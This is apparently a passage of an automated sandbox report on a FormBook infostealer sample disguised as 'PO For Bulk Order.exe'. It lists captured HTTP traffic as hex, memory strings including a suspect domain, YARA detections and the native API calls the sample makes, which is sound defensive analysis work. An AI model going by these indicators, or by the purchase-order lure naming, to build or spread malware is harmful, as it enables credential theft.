66 75 61 b3 06 f6 5e af f5 d0 0d 00 d1 d5 f1 3f 8e 87 e3 47 c7 bf bd 7a b5 c1 5b 6e 5a c5 af 36 ae 5e fb d9 6b ff da 78 ed 17 c7 ef 1c bf 77 fc d1 f1 9b 60 eb 8a 97 1b 53 26 ce 1c d7 a8 ef 8e ff 72 fc f0 f8 8d e3 fb df fe e5 f1 3b 8d 69 1a 37 16 ad 7a 79 e8 a6 3a b0 32 6e 8c 75 3f 6f dc 90 d7 db 60 6f ab 47 db eb ad 95 ba eb 33 00 4f 03 12 b8 91 75 ed 58 ae ed 00 db 90 7b ed 33 d9 49 d9 ad bb b7 ee 37 ba d8 9f 9d 17 6b 84 af f5 c0 b5 01 a0 06 70 9d 95 9e 37 8c 38 88 01 72 a9 bd 7a 09 c5 b0 57 1b 48 bb f5 6a a3 d7 7a 19 6c d7 40 21 9f 80 e0 86 6b bb 9d 94 4f ca 2a ce 2a ac e2 c0 7c 72 fd 02 d8 d0 0a 76 56 e6 1a fa 33 6c 7a a6 5e b5 60 f4 22 f8 99 14 75 7c 9c ec fc 2c d9 37 9a 22 bd 93 a6 80 5f f2 c5 d8 9d 8f dd 19 f8 34 e6 4f 07 e1 3d ab 4c 02 dd 8d 2e ec 9f f2 09 76 c6 e3 c2 a6 05 27 65 43 cf b3 f8 bc 7e 46 ff 05 74 5d ff 81 45 a0 ea 0b 86 9e 6f ad 0b c3 27 cd af a3 f8 13 34 81 7b 21 fb 14 a3 5b 84 3e c3 a4 eb 55 9c 65 71 08 72 e6 1e 76 49 8b b3 e4 c0 bd 1f e8 db ec da 70 dc c0 bc 08 b8 b1 e0 ee d4 8d 1e 4e eb b2 1f 58 19 08 aa eb 6d a2 1b a7 24 45 3e 37 46 56 ba e1 db 69 5d 6e ee 37 5e 58 af ad 95 85 9c 51 b9 05 19 bb b8 ef 85 c2 71 33 eb cb ab b8 bc c8 bb 20 8a 00 9a 13 a2 b7 75 e2 8e ef f5 19 95 d3 e1 33 70 2b fd 0e db 3b ca fb 8d 27 68 ee ad e3 18 d8 f2 e5 ac cc 3e 25 0d f8 ef 93 4a de 22 52 bb f6 bc f5 b9 ce 40 6f ed 4a d2 eb 22 d5 6f a3 f3 62 15 7c 63 52 e7 86 27 08 8a e7 9f 83 5e 69 3c 7c c6 a7 de 6a 34 8e 6f 1d 7f f3 f8 ed e3 bb c7 0f 8e 7f 73 fc b8 5e 7b 06 69 bd d4 78 05 7a fe b9 bf 08 2d d3 d5 1b 71 14 54 75 c9 b3 ac a8 a1 47 66 e3 25 50 a8 6f 8a 38 88 8a 97 cf 4b 7a 79 59 ea 76 ba 49 f9 72 8d c8 0b 4f 82 78 eb ac 53 6c 23 75 80 63 b7 6a 3
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 03 Mar 2025 20:05:12 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingLast-Modified: Thu, 27 Feb 2020 04:57:13 GMTETag: W/"1f2b-59f878ddd2a87"Content-Encoding: gzipData Raw: 31 33 39 38 0d 0a 1f 8b 08 00 00 00 00 00 04 03 95 59 d9 af e3 d6 79 7f ae 01 ff 0f ea 35 0a 2f f2 1d 2e 12 b5 4c 66 a6 e5 26 8a 12 49 89 8b 16 12 05 02 8a a4 b8 2f a2 48 91 54 d1 3f 66 62 29 48 1b 23 31 92 34 b1 1b 07 2e 92 a0 75 9d c4 49 5a 38 28 52 20 41 db 97 da 49 5f 62 14 e8 63 0f 75 a5 7b c7 e3 31 ec e8 42 10 79 ce 77 be e5 f7 ad 97 7c f0 a7 d4 84 54 d4 29 dd 70 b2 30 78 f4 fc 73 0f ea df 46 a0 47 f6 c3 2b 4f bf 3a ad 58 ba 59 ff 86 56 a6 37 0c 47 4f b7 56 f6 f0 8a 9e 91 d7 a3 e9 55 03 aa b7 32 37 0b ac 47 6d b8 dd 18 b8 81 d5 10 e2 ac 31 88 f3 c8 7c 00 dd ec 5c 4e 47 7a 68 3d bc da b9 56 91 c4 69 76 d5 30 e2 28 b3 22 c0 ad 70 cd cc 79 68 5a 3b d7 b0 ae 4f 37 af ba 91 9b b9 7a 70 bd 35 f4 c0 7a 88 dc 83 5f 0d c1 52 98 87 77 2b 27 f5 b6 59 05 44 66 55 02 38 67 56 99 41 c6 76 5b 6f bc d2 f8 ab e7 9f 6b 80 4f a8 a7 b6 1b dd 6f c0 5f ba b9 4f 74 d3 74 23 fb 66 e1 af 9f 7f ce 0d ed 0b e9 2a 4e 4d 2b bd dd c9 83 cb c6 f9 cc 75 60 ad b3 fb 0d d4 0a 01 2f 70 f4 04 d6 59 4c bc b3 d2 75 10 17 d7 d5 fd c6 d6 48 e3 20 b8 a1 59 c5 66 75 61 b3 06 f6 5e af f5 d0 0d 00 d1 d5 f1 3f 8e 87 e3 47 c7 bf bd 7a b5 c1 5b 6e 5a c5 af 36 ae 5e fb d9 6b ff da 78 ed 17 c7 ef 1c bf 77 fc d1 f1 9b 60 eb 8a 97 1b 53 26 ce 1c d7 a8 ef 8e ff 72 fc f0 f8 8d e3 fb df fe e5 f1 3b 8d 69 1a 37 16 ad 7a 79 e8 a6 3a b0 32 6e 8c 75 3f 6f dc 90 d7 db 60 6f ab 47 db eb ad 95 ba eb 33 00 4f 03 12 b8 91 75 ed 58 ae ed 00 db 90 7b ed 33 d9 49 d9 ad bb b7 ee 37 ba d8 9f 9d 17 6b 84 af f5 c0 b5 01 a0 06 70 9d 95 9e 37 8c 38 88 01 72 a9 bd 7a 09 c5 b0 57 1b 48 bb f5 6a a3 d7 7a 19 6c d7 40 21 9f 80 e0 86 6b bb 9d 94 4f ca 2a ce 2a ac e2 c0 7c 72 fd 02 d8 d0 0a 76 56 e6 1a fa 33 6c 7a a6 5e b5 60 f4 22 f8 99 14 75 7c 9c ec fc 2c d9 37 9a 22 bd 93 a6 80 5f f2 c5 d8 9d 8f dd 19 f8 34 e6 4f 07 e1 3d ab 4c 02 dd 8d 2e ec 9f f2 09 76 c6 e3 c2 a6 05 27 65 43 cf b3 f8 bc 7e 46 ff 05 74 5d ff 81 45 a0 ea 0b 86 9e 6f ad 0b c3 27 cd af a3 f8 13 34 81 7b 21 fb 14 a3 5b 84 3e c3 a4 eb 55 9c 65 71 08 72 e6 1e 76 49 8b b3 e4 c0 bd 1f e8 db ec da 70 dc c0 bc 08 b8 b1 e0 ee d4 8d 1e 4e eb b2 1f 58 19 08 aa eb 6d a2 1b a7 24 45 3e 37 46 56 ba e1 db 69 5d 6e ee 37 5e 58 af ad 95 85 9c 51 b9 05 19 bb b8 ef 85 c2 71 33 eb cb ab b8 bc c8 bb 20 8a 00 9a 13 a2 b7 75 e2 8e ef f5 19 95 d3 e1 33 70 2b fd 0e db 3b ca fb 8d 27 68 ee ad e3 18 d8 f2 e5 ac cc 3e 25 0d f8 ef 93 4a de 22 52 bb f6 bc f5 b9 ce 40 6f ed 4a d2 eb 22 d5 6f a3 f3 62 15 7c 63 52 e7 86 27 08 8a e7 9f 83 5e 69 3c 7c c6 a7 de 6a 34 8e 6f 1d 7f f3 f8 ed e3 bb c7 0f 8e 7f 73 fc b8 5e 7b 06 69 bd d4 78 05 7a fe b9 bf 08 2d d3 d5 1b 71 14 54 75 c9 b3 ac a8 a1 47 66 e3 25 50 a8 6f 8a 38 88 8a 97 cf 4b 7a 79 59 ea 76 ba 49 f9 72 8d c8 0b 4f 82 78 eb ac 53 6c 23 75 80 63 b7 6a 3
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 03 Mar 2025 20:05:14 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingLast-Modified: Thu, 27 Feb 2020 04:57:13 GMTETag: W/"1f2b-59f878ddd2a87"Content-Encoding: gzipData Raw: 31 33 39 38 0d 0a 1f 8b 08 00 00 00 00 00 04 03 95 59 d9 af e3 d6 79 7f ae 01 ff 0f ea 35 0a 2f f2 1d 2e 12 b5 4c 66 a6 e5 26 8a 12 49 89 8b 16 12 05 02 8a a4 b8 2f a2 48 91 54 d1 3f 66 62 29 48 1b 23 31 92 34 b1 1b 07 2e 92 a0 75 9d c4 49 5a 38 28 52 20 41 db 97 da 49 5f 62 14 e8 63 0f 75 a5 7b c7 e3 31 ec e8 42 10 79 ce 77 be e5 f7 ad 97 7c f0 a7 d4 84 54 d4 29 dd 70 b2 30 78 f4 fc 73 0f ea df 46 a0 47 f6 c3 2b 4f bf 3a ad 58 ba 59 ff 86 56 a6 37 0c 47 4f b7 56 f6 f0 8a 9e 91 d7 a3 e9 55 03 aa b7 32 37 0b ac 47 6d b8 dd 18 b8 81 d5 10 e2 ac 31 88 f3 c8 7c 00 dd ec 5c 4e 47 7a 68 3d bc da b9 56 91 c4 69 76 d5 30 e2 28 b3 22 c0 ad 70 cd cc 79 68 5a 3b d7 b0 ae 4f 37 af ba 91 9b b9 7a 70 bd 35 f4 c0 7a 88 dc 83 5f 0d c1 52 98 87 77 2b 27 f5 b6 59 05 44 66 55 02 38 67 56 99 41 c6 76 5b 6f bc d2 f8 ab e7 9f 6b 80 4f a8 a7 b6 1b dd 6f c0 5f ba b9 4f 74 d3 74 23 fb 66 e1 af 9f 7f ce 0d ed 0b e9 2a 4e 4d 2b bd dd c9 83 cb c6 f9 cc 75 60 ad b3 fb 0d d4 0a 01 2f 70 f4 04 d6 59 4c bc b3 d2 75 10 17 d7 d5 fd c6 d6 48 e3 20 b8 a1 59 c5 66 75 61 b3 06 f6 5e af f5 d0 0d 00 d1 d5 f1 3f 8e 87 e3 47 c7 bf bd 7a b5 c1 5b 6e 5a c5 af 36 ae 5e fb d9 6b ff da 78 ed 17 c7 ef 1c bf 77 fc d1 f1 9b 60 eb 8a 97 1b 53 26 ce 1c d7 a8 ef 8e ff 72 fc f0 f8 8d e3 fb df fe e5 f1 3b 8d 69 1a 37 16 ad 7a 79 e8 a6 3a b0 32 6e 8c 75 3f 6f dc 90 d7 db 60 6f ab 47 db eb ad 95 ba eb 33 00 4f 03 12 b8 91 75 ed 58 ae ed 00 db 90 7b ed 33 d9 49 d9 ad bb b7 ee 37 ba d8 9f 9d 17 6b 84 af f5 c0 b5 01 a0 06 70 9d 95 9e 37 8c 38 88 01 72 a9 bd 7a 09 c5 b0 57 1b 48 bb f5 6a a3 d7 7a 19 6c d7 40 21 9f 80 e0 86 6b bb 9d 94 4f ca 2a ce 2a ac e2 c0 7c 72 fd 02 d8 d0 0a 76 56 e6 1a fa 33 6c 7a a6 5e b5 60 f4 22 f8 99 14 75 7c 9c ec fc 2c d9 37 9a 22 bd 93 a6 80 5f f2 c5 d8 9d 8f dd 19 f8 34 e6 4f 07 e1 3d ab 4c 02 dd 8d 2e ec 9f f2 09 76 c6 e3 c2 a6 05 27 65 43 cf b3 f8 bc 7e 46 ff 05 74 5d ff 81 45 a0 ea 0b 86 9e 6f ad 0b c3 27 cd af a3 f8 13 34 81 7b 21 fb 14 a3 5b 84 3e c3 a4 eb 55 9c 65 71 08 72 e6 1e 76 49 8b b3 e4 c0 bd 1f e8 db ec da 70 dc c0 bc 08 b8 b1 e0 ee d4 8d 1e 4e eb b2 1f 58 19 08 aa eb 6d a2 1b a7 24 45 3e 37 46 56 ba e1 db 69 5d 6e ee 37 5e 58 af ad 95 85 9c 51 b9 05 19 bb b8 ef 85 c2 71 33 eb cb ab b8 bc c8 bb 20 8a 00 9a 13 a2 b7 75 e2 8e ef f5 19 95 d3 e1 33 70 2b fd 0e db 3b ca fb 8d 27 68 ee ad e3 18 d8 f2 e5 ac cc 3e 25 0d f8 ef 93 4a de 22 52 bb f6 bc f5 b9 ce 40 6f ed 4a d2 eb 22 d5 6f a3 f3 62 15 7c 63 52 e7 86 27 08 8a e7 9f 83 5e 69 3c 7c c6 a7 de 6a 34 8e 6f 1d 7f f3 f8 ed e3 bb c7 0f 8e 7f 73 fc b8 5e 7b 06 69 bd d4 78 05 7a fe b9 bf 08 2d d3 d5 1b 71 14 54 75 c9 b3 ac a8 a1 47 66 e3 25 50 a8 6f 8a 38 88 8a 97 cf 4b 7a 79 59 ea 76 ba 49 f9 72 8d c8 0b 4f 82 78 eb ac 53 6c 23 75 80 63 b7 6a 3
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 03 Mar 2025 20:05:17 GMTContent-Type: text/htmlContent-Length: 7979Connection: closeVary: Accept-EncodingLast-Modified: Thu, 27 Feb 2020 04:57:13 GMTETag: "1f2b-59f878ddd2a87"Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6a 61 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 45 55 43 2d 4a 50 22 20 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 46 69 6c 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 2a 20 7b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0d 0a 7d 0d 0a 69 6d 67 20 7b 0d 0a 20 20 20 20 62 6f 72 64 65 72 3a 20 30 3b 0d 0a 7d 0d 0a 75 6c 20 7b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 32 65 6d 3b 0d 0a 7d 0d 0a 68 74 6d 6c 20 7b 0d 0a 20 20 20 20 6f 76 65 72 66 6c 6f 77 2d 79 3a 20 73 63 72 6f 6c 6c 3b 0d 0a 7d 0d 0a 62 6f 64 79 20 7b 0d 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 a5 e1 a5 a4 a5 ea a5 aa 22 2c 20 4d 65 69 72 79 6f 2c 20 22 a3 cd a3 d3 20 a3 d0 a5 b4 a5 b7 a5 c3 a5 af 22 2c 20 22 4d 53 20 50 47 6f 74 68 69 63 22 2c 20 22 a5 d2 a5 e9 a5 ae a5 ce b3 d1 a5 b4 20 50 72 6f 20 57 33 22 2c 20 22 48 69 72 61 67 69 6e 6f 20 4b 61 6b 75 20 47 6f 74 68 69 63 20 50 72 6f 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0d 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 3b 0d 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 37 35 25 3b 0d 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0d 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 72 67 62 28 32 35 35 2c 20 31 34 33 2c 20 38 33 29 3b 0d 0a 7d 0d 0a 68 31 20 7b 0d 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 34 34 70 78 3b 0d 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0d 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0d 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0d 0a 7d 0d 0a 68 32 20 7b 0d 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0d 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0d 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 38 70 78 3b 0d 0a 7d 0d 0a 70 20 7b 0d 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0d 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0d 0a 7d 0d 0a 2e 65 78 70 6c 61 69 6e 20 7b 0d 0a
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 03 Mar 2025 20:05:39 GMTTransfer-Encoding: chunkedConnection: closeData Raw: 30 0d 0a 0d 0a Data Ascii: 0

Source: pmpyUnHFtGF1F2iqQgjj3t.exe, 00000007.00000002.4601895493.00000000052A8000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.kizlo.tech
Source: pmpyUnHFtGF1F2iqQgjj3t.exe, 00000007.00000002.4601895493.00000000052A8000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.kizlo.tech/94il/
Source: replace.exe, 00000005.00000003.2664644951.0000000007938000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: replace.exe, 00000005.00000002.4601343929.00000000047B4000.00000004.10000000.00040000.00000000.sdmp, pmpyUnHFtGF1F2iqQgjj3t.exe, 00000007.00000002.4599689179.0000000003E84000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://ad.netowl.jp/js/star-errorpage.js?date=
Source: replace.exe, 00000005.00000003.2664644951.0000000007938000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: replace.exe, 00000005.00000003.2664644951.0000000007938000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: replace.exe, 00000005.00000003.2664644951.0000000007938000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: replace.exe, 00000005.00000003.2664644951.0000000007938000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: replace.exe, 00000005.00000003.2664644951.0000000007938000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: replace.exe, 00000005.00000003.2664644951.0000000007938000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: replace.exe, 00000005.00000002.4597908429.0000000002B51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: replace.exe, 00000005.00000002.4597908429.0000000002B7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: replace.exe, 00000005.00000002.4597908429.0000000002B51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: replace.exe, 00000005.00000002.4597908429.0000000002B51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: replace.exe, 00000005.00000002.4597908429.0000000002B51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: replace.exe, 00000005.00000002.4597908429.0000000002B7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: replace.exe, 00000005.00000003.2658276267.0000000007861000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
Source: replace.exe, 00000005.00000003.2664644951.0000000007938000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: replace.exe, 00000005.00000002.4602972200.0000000005E40000.00000004.00000800.00020000.00000000.sdmp, replace.exe, 00000005.00000002.4601343929.0000000004C6A000.00000004.10000000.00040000.00000000.sdmp, replace.exe, 00000005.00000002.4601343929.0000000004490000.00000004.10000000.00040000.00000000.sdmp, pmpyUnHFtGF1F2iqQgjj3t.exe, 00000007.00000002.4599689179.0000000003B60000.00000004.00000001.00040000.00000000.sdmp, pmpyUnHFtGF1F2iqQgjj3t.exe, 00000007.00000002.4599689179.000000000433A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: replace.exe, 00000005.00000003.2664644951.0000000007938000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: replace.exe, 00000005.00000002.4601343929.00000000047B4000.00000004.10000000.00040000.00000000.sdmp, pmpyUnHFtGF1F2iqQgjj3t.exe, 00000007.00000002.4599689179.0000000003E84000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.star.ne.jp/

E-Banking Fraud

Yara detected FormBook

Source: Yara match	File source: 2.2.PO For Bulk Order.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.PO For Bulk Order.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.4599413543.0000000002D30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.4601895493.0000000005240000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4599574660.0000000002DB0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2465368058.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4597409244.0000000002800000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2467518460.0000000001CE0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2467806295.00000000028A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4598849499.0000000002D30000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

System Summary

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: PO For Bulk Order.exe

Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_0042C8B3 NtClose,	2_2_0042C8B3
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A02B60 NtClose,LdrInitializeThunk,	2_2_01A02B60
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A02DF0 NtQuerySystemInformation,LdrInitializeThunk,	2_2_01A02DF0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A02C70 NtFreeVirtualMemory,LdrInitializeThunk,	2_2_01A02C70
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A035C0 NtCreateMutant,LdrInitializeThunk,	2_2_01A035C0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A04340 NtSetContextThread,	2_2_01A04340
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A04650 NtSuspendThread,	2_2_01A04650
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A02BA0 NtEnumerateValueKey,	2_2_01A02BA0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A02B80 NtQueryInformationFile,	2_2_01A02B80
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A02BE0 NtQueryValueKey,	2_2_01A02BE0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A02BF0 NtAllocateVirtualMemory,	2_2_01A02BF0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A02AB0 NtWaitForSingleObject,	2_2_01A02AB0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A02AF0 NtWriteFile,	2_2_01A02AF0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A02AD0 NtReadFile,	2_2_01A02AD0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A02DB0 NtEnumerateKey,	2_2_01A02DB0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A02DD0 NtDelayExecution,	2_2_01A02DD0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A02D30 NtUnmapViewOfSection,	2_2_01A02D30
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A02D00 NtSetInformationFile,	2_2_01A02D00
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A02D10 NtMapViewOfSection,	2_2_01A02D10
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A02CA0 NtQueryInformationToken,	2_2_01A02CA0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A02CF0 NtOpenProcess,	2_2_01A02CF0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A02CC0 NtQueryVirtualMemory,	2_2_01A02CC0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A02C00 NtQueryInformationProcess,	2_2_01A02C00
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A02C60 NtCreateKey,	2_2_01A02C60
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A02FA0 NtQuerySection,	2_2_01A02FA0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A02FB0 NtResumeThread,	2_2_01A02FB0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A02F90 NtProtectVirtualMemory,	2_2_01A02F90
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A02FE0 NtCreateFile,	2_2_01A02FE0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A02F30 NtCreateSection,	2_2_01A02F30
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A02F60 NtCreateProcessEx,	2_2_01A02F60
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A02EA0 NtAdjustPrivilegesToken,	2_2_01A02EA0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A02E80 NtReadVirtualMemory,	2_2_01A02E80
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A02EE0 NtQueueApcThread,	2_2_01A02EE0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A02E30 NtWriteVirtualMemory,	2_2_01A02E30
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A03090 NtSetValueKey,	2_2_01A03090
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A03010 NtOpenDirectoryObject,	2_2_01A03010
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A039B0 NtGetContextThread,	2_2_01A039B0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A03D10 NtOpenProcessToken,	2_2_01A03D10
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A03D70 NtOpenThread,	2_2_01A03D70
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03184340 NtSetContextThread,LdrInitializeThunk,	5_2_03184340
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03184650 NtSuspendThread,LdrInitializeThunk,	5_2_03184650
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03182B60 NtClose,LdrInitializeThunk,	5_2_03182B60
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03182BA0 NtEnumerateValueKey,LdrInitializeThunk,	5_2_03182BA0
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03182BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	5_2_03182BF0
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03182BE0 NtQueryValueKey,LdrInitializeThunk,	5_2_03182BE0
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03182AD0 NtReadFile,LdrInitializeThunk,	5_2_03182AD0
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03182AF0 NtWriteFile,LdrInitializeThunk,	5_2_03182AF0
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03182F30 NtCreateSection,LdrInitializeThunk,	5_2_03182F30
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03182FB0 NtResumeThread,LdrInitializeThunk,	5_2_03182FB0
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03182FE0 NtCreateFile,LdrInitializeThunk,	5_2_03182FE0
